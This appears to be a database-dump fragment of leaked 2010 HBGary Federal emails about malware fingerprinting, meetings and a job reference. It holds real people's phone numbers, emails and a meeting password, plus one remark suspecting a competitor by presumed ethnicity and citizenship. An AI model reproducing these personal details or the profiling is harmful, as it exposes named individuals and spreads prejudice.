<aaron@hbgary.com>','/aaron@hbgary.com/new/1297006841.M725831P14101Q3804.eml','\"Dizon, Ray\" <rdizon@mitre.org>','Re: MITRE intro','Yep.  See you at 3\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 1:18 PM, \"Dizon, Ray\"  wrote:\r\n\r\n> It would have to be 3:00 tomorrow.  Is that OK?\r\n>\r\n> I did see that BlackHat is on, got an email from someone else on it.  I see that one of your folks is a speaker.  Would have been interesting to have gone there.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, July 20, 2010 12:36 PM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n>\r\n> Shoot!  I am very sorry Ray.  I can do same time tomorrow if you can.\r\n> Otherwise after blackhat.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\"  wrote:\r\n>\r\n>> Didn\'t see you last week......did you want to try again?\r\n>>\r\n>> Ray\r\n>>\r\n>> -----Original Message-----\r\n>> From: Dizon, Ray\r\n>> Sent: Friday, July 09, 2010 10:05 AM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: MITRE intro\r\n>>\r\n>> Thursday the 15th is the better day, how about 2:00?\r\n>>\r\n>> Ray\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, July 09, 2010 10:03 AM\r\n>> To: Dizon, Ray\r\n>> Subject: Re: MITRE intro\r\n>>\r\n>> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>>\r\n>>> David, thanks, see you soon.\r\n>>>\r\n>>> Aaron,\r\n>>>\r\n>>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>>\r\n>>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>>\r\n>>> Ray\r\n>>>\r\n>>>\r\n>>> Ray Dizon\r\n>>> Director, Technology Transfer Office\r\n>>> The MITRE Corporation\r\n>>> N680\r\n>>> 7515 Colshire Drive\r\n>>> McLean, VA 22102\r\n>>> 703-983-7132\r\n>>> rdizon@mitre.org\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: David Etue [mailto:david@etue.net]\r\n>>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>>> To: Aaron Barr; Dizon, Ray\r\n>>> Subject: MITRE intro\r\n>>>\r\n>>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>>> Federal.  Aaron and I have looked to do some work together around social\r\n>>> media security, and during our discussions he mentioned there was some\r\n>>> technology in MITRE around social media that may be available for tech\r\n>>> transfer.  I wanted to connect the two to discuss further.\r\n>>>\r\n>>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>>> community.\r\n>>>\r\n>>> I\'ll let you two connect directly from here.\r\n>>>\r\n>>> David\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',13520,'aaron_hbgary_com/13520.html'),(8950,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006841.M959858P14101Q3805.eml','\"Geoff Stowe\" <gstowe@palantir.com>','Re: Attribution','Sounds good.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 12:30 PM, Geoff Stowe  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> Sounds like a good plan.  We\'ll also be at Defcon, so we could try to set\r\n> aside some time to chat in person that weekend.  Otherwise the week of\r\n> August 9th is pretty open for me.\r\n>\r\n> I like the idea to research the individual clusters of malware that your\r\n> tools identify.  Is this something we could potentially use in a demo, or is\r\n> the data too sensitive?\r\n>\r\n> Geoff\r\n>\r\n> -----Original Message-----\r\n> From: Trae Stephens\r\n> Sent: Tuesday, July 20, 2010 5:32 AM\r\n> To: Aaron Barr; Matthew Steckman; Geoff Stowe\r\n> Subject: RE: Attribution\r\n>\r\n> This falls right into Geoff and Matt\'s boxes, so I\'ll steer clear.\r\n>\r\n> Regarding Brandon...he\'s REALLY good.  We would have loved to hire him if he\r\n> could have moved to DC...and I know he hates what he\'s doing now.  If this\r\n> email had a \"like\" button, I would have hit it by now.  :)\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, July 19, 2010 11:17 PM\r\n> To: Matthew Steckman; Geoff Stowe\r\n> Cc: Trae Stephens\r\n> Subject: Attribution\r\n>\r\n> Hey Guys,\r\n>\r\n> I would like to talk a bit about the fingerprint tool Greg is giving away at\r\n> Blackhat.  Its not the graphing capability but the tool that will pull the\r\n> marks out of malware related to the development environment.\r\n>\r\n> I think the play here for us and what leads us into our talk for RSA, if we\r\n> are accepted, is the results in taking this tool, our volume malware\r\n> processor and some good open source research and social media data mining.\r\n> With the data from the fingerprint tool that gives us the malware\r\n> clustering, we can start doing open source collection on attributes that can\r\n> then correlated to the other members of the cluster?\r\n>\r\n> I guess more will become obvious once we start the research.  Can we develop\r\n> some helper apps that can make it easier to ingest the data?  I know the\r\n> answer is yes but hopefully we can do that as part of this effort.  Want to\r\n> schedule something up after we get back from Blackhat?\r\n>\r\n> Also I talked to Brandon Colston and he is interested I think to come work\r\n> on this stuff once we have a space for him, would love to get him.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',6970,'aaron_hbgary_com/6970.html'),(8951,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006842.M193486P14101Q3806.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Mark Leary Reference','Sent from my iPadBegin forwarded message:From: &quot;Vargas, Celina&quot; &lt;Celina_Vargas@sra.com&gt;\r\nDate: July 20, 2010 9:07:18 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Mark Leary Reference\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron!\r\n\r\n \r\n\r\nThanks so much for getting back to me.\r\nHere they are:\r\n\r\n \r\n\r\n1. What company did you work with Mark at\r\nand what was your relationship (Director, etc). What was your title and how\r\nlong did you work with him? \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nPerformance \r\n\r\n \r\n\r\n What are his/her specific responsibilities?  \r\n\r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n What are his/her strong points?   \r\n\r\n  \r\n\r\n \r\n\r\n What characteristics do you admire most about\r\nhim/her?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n Are there any areas where he/she might have\r\nneeded improvement? What steps were taken by either the candidate or the\r\nsupervisor to improve these areas?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n Did he/she supervise other people? How many?\r\nHow effectively? Can he/she create a team?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n How well does he/she relate to co-workers? In\r\nyour opinion which employees does he/she work best with:\r\nsuperiors/peers/subordinates? Is he/she a team player?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n How would you rate his/her job performance on\r\na scale from 1-10 (10 being the highest) compared to other people you observed\r\nin similar capacity? What would he/she have had to do to be a perfect\r\n10?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n Were you responsible for this individual&#39;s\r\nreview? What were the results of that review?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n SRA&#39;s ethic of Honesty and Service are\r\nimportant to our corporate culture. Do you feel he/she will fit into our\r\nenvironment as a VP (Chief Information Security\r\nOfficer)?   \r\n\r\n  \r\n\r\n \r\n\r\n Is there anything about this individual you\r\nare aware of, that would prevent him/her from performing his/her job\r\nrequirements as a VP?   \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n If you could rehire him or her today, would\r\nyou? Is he/she eligible for rehire? If not, why?   \r\n\r\n \r\n\r\nTHANK YOU! \r\n\r\n \r\n\r\n\r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350\r\n  Fair Lakes Court\r\n Fairfax, VA 22033\r\n Office:\r\n703-803-1873\r\nMobile: 571-263-2646\r\ncelina_vargas@sra.com  \r\nwww.sra.com\r\n\r\n\r\n \r\n\r\nTo see our career\r\nvideos and learn more, click the camera link below:\r\n\r\n \r\n\r\n\r\n\r\n\r\nP Please consider the\r\nenvironment before printing this e-mail \r\n\r\n\r\nThis electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 9:06\r\nAM\r\nTo: Vargas, Celina\r\nSubject: Re: Mark Leary Reference\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSure thing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 20, 2010, at 8:51 AM, &quot;Vargas, Celina&quot; &lt;Celina_Vargas@sra.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron! \r\n\r\n\r\nI hope you are doing good. Mark Leary sent me your contact information, he wrote\r\nyour name down as a reference, I would like to ask you a few questions about\r\nhim. I will call you as well but I could email you the reference questions,\r\njust let me know! I am here at my desk. Thanks! Celina\r\n\r\n \r\n\r\n \r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350 Fair Lakes Court\r\nFairfax, VA 22033\r\nOffice:\r\n703-803-1873\r\nMobile:\r\n571-263-2646\r\ncelina_vargas@sra.com \r\n\r\nwww.sra.com\r\n\r\n\r\n \r\n\r\nTo see our career\r\nvideos and learn more, click the camera link below:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nP Please consider the\r\nenvironment before printing this e-mail \r\n\r\n\r\n\r\nThis electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',256,'aaron_hbgary_com/256.html'),(8952,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006842.M528738P14101Q3807.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Odesk','http://www.odesk.com\r\n\r\nThis will change the way the world works...\r\n',11409,'aaron_hbgary_com/11409.html'),(8953,'2010-07-21','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297006842.M773283P14101Q3808.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: is this good news for HB Gary?','Agreed! Sorry&nbsp;Sent from my mobile--excuse typos or brevityOn Jul 21, 2010, at 12:08 AM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:I am on a family vacation starting on Thursday. &nbsp;Lets try to meet up either in Vegas or when we get back. &nbsp;Vegas might be a bit hectic.AaronOn Jul 20, 2010, at 1:33 PM, Sullivan, Mary wrote:Probably can\'t--have customer issue that\'s fluid right now. Friday?Sent from my mobile--excuse typos or brevityOn Jul 20, 2010, at 12:39 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:Can you do lunch in tysons tomorrow?AaronSent from my iPadOn Jul 20, 2010, at 8:01 AM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt; wrote:\r\n\r\n\r\nLove to. I’m free—headed to BlackHat myself…&nbsp;\r\n\r\nMary SullivanD 240-396-2446M 301-980-1308\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:12 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good news for HB Gary?\r\n\r\n\r\n\r\n&nbsp;Hey Mary,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJust catching up. &nbsp;Do you have time to meet on\r\nWednesday? &nbsp;I am heading on vacation on Thursday - then Blackhat.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 3:23 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat a PITA—you were perfect for that! Their loss….\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThings are good for me; I’m ahead of plan and looking to add two\r\nnew big customers in Q3 that are both in procurement now. Like to get some\r\nmore. Spent some time with Bob at an event last week and planning to meet Penny\r\nnext time she comes to town. Talk to Maria pretty often.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLet’s grab lunch or coffee when you get a chance.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\n\r\n\r\nD 240-396-2446\r\n\r\n\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, June 30,\r\n2010 3:19 PM\r\nTo:&nbsp;Sullivan, Mary\r\nSubject:&nbsp;Re: is this good\r\nnews for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYes we were, but unfortunately weren\'t selected. &nbsp;We\r\ngot our debrief yesterday. &nbsp;Came down to onerous data rights because of\r\nexisting technology and not enough of the pi and pm time on contract, which was\r\nme and Greg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow are things?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:28 PM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?&nbsp;CYBER GENOME PROGRAM.http://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.OppId: 61006 .Department: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.RFP Date: 2010-01-28.Status: Partial Award.Value($K): 43000.Latest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267..\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCurious about Fidelis XPS™? Watch video samples here:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14348,'aaron_hbgary_com/14348.html'),(8954,'2010-07-21','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006843.M263897P14101Q3810.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','I am here.....','back in a booth on the right as you enter. Crowded!!\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\nemail:  jeffcastelli@phaseone.net\r\n\r\nOffice:  571-830-6816\r\n\r\n                571-830-6817\r\n\r\nFax:        571-830-6819\r\n\r\nCell:       310 612 6413\r\n\r\n \r\n\r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use',11318,'aaron_hbgary_com/11318.html'),(8955,'2010-07-21','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297006843.M41996P14101Q3809.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Larry Prior Appointed EVP at BAE','Sounds good, we will check back with you then.On Jul 21, 2010, at 12:44 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Bill,Looking forward to it. &nbsp;I am out of town starting thursday and won\'t be back until the 1st. &nbsp;How about that week?Aaron\r\nSent from my iPadOn Jul 20, 2010, at 1:59 PM, William Luti &lt;wluti@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\nThanks and very interesting. \r\n\r\n&nbsp;\r\n\r\nNext we meet on TSA Ken Bajaj wants to meet you so let’s\r\nset something up for early next week.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 12:47 PM\r\nTo: William Luti\r\nSubject: Larry Prior Appointed EVP at BAE\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLarry\r\nPrior Appointed EVP at BAE\r\nLarry Prior has been appointed executive vice president, Service Sectors for\r\nBAE Systems, Inc. The move follows Prior’s resignation announcement late\r\nyesterday from ManTech. In his new role, Prior will report to Linda Hudson,\r\npresident and CEO of BAE North America. “Larry’s fresh perspective,\r\nproven track record, and diverse experience will enable BAE Systems to [...]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2085,'aaron_hbgary_com/2085.html'),(8956,'2010-07-21','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006843.M488375P14101Q3811.eml','\"Aaron Barr\" <aaron@hbgary.com>','Followup','\r\n\r\n\r\n\r\n\r\nFollowup\r\n\r\n\r\n\r\n\r\nFollowup from yesterday:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address to ship drive to\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fingerprint tool to run on CMU malware data\r\n\r\n\r\n\r\nAlso, can I still get an exploit from you?\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',15807,'aaron_hbgary_com/15807.html'),(8957,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006843.M745093P14101Q3812.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Followup','Yes. &nbsp;Ted should be sending that to you today.Let me know on the exploit.AaronSent from my iPhoneOn Jul 21, 2010, at 8:49 AM, \"Masterson, Brian M (XETRON)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nFollowup from yesterday:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address to ship drive to\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fingerprint tool to run on CMU malware data\r\n\r\n\r\n\r\nAlso, can I still get an exploit from you?\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',6840,'aaron_hbgary_com/6840.html'),(8958,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006864.M968622P14101Q3813.eml','\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>,\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Social Media','Scott,\r\n\r\nAttached is a presentation I gave at the NSA REBL conference about a month ago.  The response was overwhelming.  Social media will continue to climb as a hot topic for defense and offense.  I am in the process of updating this presentation and building a 1 day training course for social media to cover:\r\n1. Familiarization\r\n2. Effective Use\r\n3. Risks\r\n4. Usecases\r\n5. Protection and Process\r\n\r\nI thought you might be interested in offering this presentation on one of your Tech Tuesdays.  I have a lot of experience in social media, most of it I can\'t talk directly about but it gives me a somewhat unique perspective.\r\n\r\n',950,'aaron_hbgary_com/950.html'),(8959,'2010-07-21','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297006869.M510997P14101Q3814.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media','Aaron,\r\n\r\nAs of now I have any Tuesday in October open if you\'d like to sign up for\r\none.\r\n\r\nScott\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 10:34 AM\r\nTo: Sheldon, Scott W.\r\nCc: Estell, Timothy W.\r\nSubject: Social Media\r\n\r\nScott,\r\n\r\nAttached is a presentation I gave at the NSA REBL conference about a month\r\nago.  The response was overwhelming.  Social media will continue to climb as\r\na hot topic for defense and offense.  I am in the process of updating this\r\npresentation and building a 1 day training course for social media to cover:\r\n1. Familiarization\r\n2. Effective Use\r\n3. Risks\r\n4. Usecases\r\n5. Protection and Process\r\n\r\nI thought you might be interested in offering this presentation on one of\r\nyour Tech Tuesdays.  I have a lot of experience in social media, most of it\r\nI can\'t talk directly about but it gives me a somewhat unique perspective.\r\n\r\n',4515,'aaron_hbgary_com/4515.html'),(8960,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006869.M946708P14101Q3815.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fingerprint Tool','Greg,\r\n\r\nWe can get the fingerprint tool run against a set of NSA Malware but we have to forward the tool to Xetron as they can not release the data.\r\n\r\nCan we get Brian Masterson the tool?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4000,'aaron_hbgary_com/4000.html'),(8961,'2010-07-21','\"Ted Vera\" <messenger@webex.com>','/aaron@hbgary.com/new/1297006870.M277812P14101Q3816.eml','aaron@hbgary.com','Meeting invitation: Social Media',' Hello Aaron,   Ted Vera invites you to attend this online meeting.   Topic: Social Media  Date: Wednesday, July 21, 2010  Time: 8:30 am, Pacific Daylight Time (San Francisco, GMT-07:00)  Meeting Number: 578 563 645  Meeting Password: ddna    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=151750542&UID=0&PW=NZjIwYjUyN2Rm&RT=MiM0  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=151750542&UID=0&PW=NZjIwYjUyN2Rm&ORT=MiM0   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=151750542&tollFree=0   Access code:578 563 645   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   ted@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=151750542&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=WytioCVFSecZSg8C1UDDUp7o-eYmegtehydMPm/upZs=&RT=MiM0   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',12082,'aaron_hbgary_com/12082.html'),(8962,'2010-07-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006870.M735239P14101Q3817.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: validedge malware analysis appliance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI, this is a single guy last time I looked.&nbsp; I think he&#8217;s Chinese,\r\nmight not be a citizen.&nbsp; Found him when he was prompting this last year and the\r\narea he lived was predominantly Chinese\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Wednesday, July 21, 2010 7:26 AM\r\nTo: Phil Wallisch\r\nCc: Greg Hoglund; Martin Pillion; Penny Leavy; Joe Pizzo\r\nSubject: RE: validedge malware analysis appliance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&lt;big smile&gt; - thanks!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Wednesday, July 21, 2010 10:25 AM\r\nTo: Rich Cummings\r\nCc: Greg Hoglund; Martin Pillion; Penny Leavy; Joe Pizzo\r\nSubject: Re: validedge malware analysis appliance\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes I bestow the title of Chief\r\nEye-Candy Officer on you.\r\n\r\n\r\n\r\nOn Wed, Jul 21, 2010 at 10:21 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAs long as I can be in the calendar I&#8217;m cool\r\nwith that.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Phil\r\nWallisch [mailto:phil@hbgary.com]\r\n\r\nSent: Wednesday, July 21, 2010 10:18 AM\r\nTo: Rich Cummings\r\nCc: Greg Hoglund; Martin Pillion; Penny Leavy; Joe Pizzo\r\nSubject: Re: validedge malware analysis appliance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNever.&nbsp;\r\nWhen are we starting our &quot;shell&quot; company so we can get demos of these\r\nproducts?&nbsp; I suggest we incorporate with name Hunks Inc.&nbsp; I of course\r\nwill be founder and CEO.\r\n\r\n\r\n\r\nOn\r\nWed, Jul 21, 2010 at 9:55 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHave\r\nyou seen/heard of this before?&nbsp; I&#8217;m just reading about it now&#8230;&nbsp; they\r\nwill be demoing the appliance at blackhat.\r\n\r\n&nbsp;\r\n\r\nhttp://www.validedge.com/\r\n\r\n&nbsp;\r\n\r\nWorld\'s Fastest Malware Analysis\r\nAppliance From ValidEdge Coming to Black Hat ...\r\nMarketwire (press release)\r\n&quot;We\'re 